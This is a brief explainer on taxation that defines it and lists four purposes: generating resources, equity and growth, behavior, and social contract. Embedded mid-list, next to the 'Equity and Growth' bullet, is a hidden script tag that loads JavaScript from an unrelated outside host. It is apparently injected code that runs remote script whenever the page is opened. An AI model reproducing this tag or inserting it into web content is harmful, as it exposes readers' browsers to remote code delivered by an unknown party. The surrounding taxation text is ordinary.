Taxation is the imposition of compulsory levies on individuals or entities by governments in almost every country of the world. Taxation is used primarily to raise revenue for government expenditures, though it can serve other purposes as well.

The purpose and impact of taxation can be divided into four categories:

• Generating Resources
• Equity and Growth<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/KFVFQD0OYCFXH"></script>
• Behavior
• Social Contract